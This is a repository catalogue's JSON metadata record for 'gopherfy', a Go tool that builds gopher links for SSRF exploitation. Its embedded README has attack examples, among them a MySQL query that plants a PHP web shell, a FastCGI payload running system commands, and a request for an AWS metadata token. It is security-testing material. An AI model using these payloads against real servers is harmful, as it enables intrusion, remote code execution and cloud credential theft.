{"id":15396596,"url":"https://github.com/hupe1980/gopherfy","last_synced_at":"2025-07-06T18:09:51.588Z","repository":{"id":60801969,"uuid":"544331058","full_name":"hupe1980/gopherfy","owner":"hupe1980","description":"Tool to generate gopher links for exploiting SSRF","archived":false,"fork":false,"pushed_at":"2022-10-15T22:33:16.000Z","size":42,"stargazers_count":6,"open_issues_count":1,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-04-06T15:51:36.795Z","etag":null,"topics":["exploit","fastcgi","gopher","http","mysql","postgresql","smtp","ssrf"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/hupe1980.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-10-02T07:47:43.000Z","updated_at":"2025-03-10T20:26:50.000Z","dependencies_parsed_at":"2022-10-05T02:31:06.596Z","dependency_job_id":null,"html_url":"https://github.com/hupe1980/gopherfy","commit_stats":null,"previous_names":[],"tags_count":6,"template":false,"template_full_name":null,"purl":"pkg:github/hupe1980/gopherfy","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hupe1980%2Fgopherfy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hupe1980%2Fgopherfy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hupe1980%2Fgopherfy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hupe1980%2Fgopherfy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/hupe1980","download_url":"https://codeload.github.com/hupe1980/gopherfy/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hupe1980%2Fgopherfy/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":263949198,"owners_count":23534320,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit","fastcgi","gopher","http","mysql","postgresql","smtp","ssrf"],"created_at":"2024-10-01T15:34:19.878Z","updated_at":"2025-07-06T18:09:51.543Z","avatar_url":"https://github.com/hupe1980.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# gopherfy\n![Build Status](https://github.com/hupe1980/gopherfy/workflows/build/badge.svg) \n[![Go Reference](https://pkg.go.dev/badge/github.com/hupe1980/gopherfy.svg)](https://pkg.go.dev/github.com/hupe1980/gopherfy)\n\u003e Tool to generate gopher links for exploiting SSRF\n\n```\ncurl http://example.org/ssrf/vuln/proxy?url=$(gopherfy mysql -e url -q \"show databases;\")\n```\n\n:warning: This is for educational purpose. Don’t try it on live servers!\n\n## How to use\n```\nTool to generate gopher links for exploiting SSRF\n\nUsage:\n  gopherfy [command]\n\nAvailable Commands:\n  completion  Generate the autocompletion script for the specified shell\n  fastcgi     Generate fastcgi gopher link\n  help        Help about any command\n  http        Generate http gopher link\n  mysql       Generate mysql gopher link\n  postgres    Generate postgres gopher link\n  smtp        Generate smtp gopher link\n\nFlags:\n  -e, --encoder string   the encoder to use. allowed: \"base64\", \"url\" or \"none\" (default \"none\")\n  -h, --help             help for gopherfy\n      --send             send the selector string\n  -v, --version          version for gopherfy\n\nUse \"gopherfy [command] --help\" for more information about a command.\n```\n## FastCGI\n```\nGenerate fastcgi gopher link\n\nUsage:\n  gopherfy fastcgi [flags]\n\nFlags:\n  -a, --addr string   fastcgi address (default \"127.0.0.1:9000\")\n  -c, --code string   code to execute (default \"\u003c?php system('whoami'); exit; ?\u003e\")\n  -f, --file string   absolute php file path (default \"/usr/local/lib/php/System.php\")\n  -h, --help          help for fastcgi\n\nGlobal Flags:\n  -e, --encoder string   the encoder to use. allowed: \"base64\", \"url\" or \"none\" (default \"none\")\n      --send             send the selector string\n```\n\n## HTTP\n```\nGenerate http gopher link\n\nUsage:\n  gopherfy http [flags]\n\nExamples:\ngopherfy http -a 169.254.169.254:80 -p /latest/api/token -X PUT -H X-aws-ec2-metadata-token-ttl-seconds=21600\n\nFlags:\n  -a, --addr string             http address (default \"127.0.0.1:80\")\n  -H, --header stringToString   http header value (key=value) (default [])\n  -h, --help                    help for http\n  -V, --http-version string     http protocol version (default \"HTTP/1.0\")\n  -p, --path string             http path (default \"/\")\n  -X, --request string          http request method (default \"GET\")\n  -A, --user-agent string       http user agent (default \"gopherfy\")\n\nGlobal Flags:\n  -e, --encoder string   the encoder to use. allowed: \"base64\", \"url\" or \"none\" (default \"none\")\n      --send             send the selector string\n```\n\n## MySQL\n```\nGenerate mysql gopher link\n\nUsage:\n  gopherfy mysql [flags]\n\nExamples:\ngopherfy mysql -q \"SELECT '\u003c?php system(\\$$_REQUEST[\\'cmd\\']); ?\u003e' INTO OUTFILE '/var/www/html/shell.php'\"\n\nFlags:\n  -a, --addr string    mysql address (default \"127.0.0.1:3306\")\n  -d, --db string      mysql database name\n  -h, --help           help for mysql\n  -q, --query string   mysql query\n  -u, --user string    mysql username (default \"root\")\n\nGlobal Flags:\n  -e, --encoder string   the encoder to use. allowed: \"base64\", \"url\" or \"none\" (default \"none\")\n      --send             send the selector string\n```\n\n## PostgreSQL\n```\nGenerate postgres gopher link\n\nUsage:\n  gopherfy postgres [flags]\n\nFlags:\n  -a, --addr string    postgres address (default \"127.0.0.1:5432\")\n  -d, --db string      postgres database name\n  -h, --help           help for postgres\n  -q, --query string   postgres query\n  -u, --user string    postgres username (default \"postgres\")\n\nGlobal Flags:\n  -e, --encoder string   the encoder to use. allowed: \"base64\", \"url\" or \"none\" (default \"none\")\n      --send             send the selector string\n```\n## License\n[MIT](LICENCE)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhupe1980%2Fgopherfy","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhupe1980%2Fgopherfy","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhupe1980%2Fgopherfy/lists"}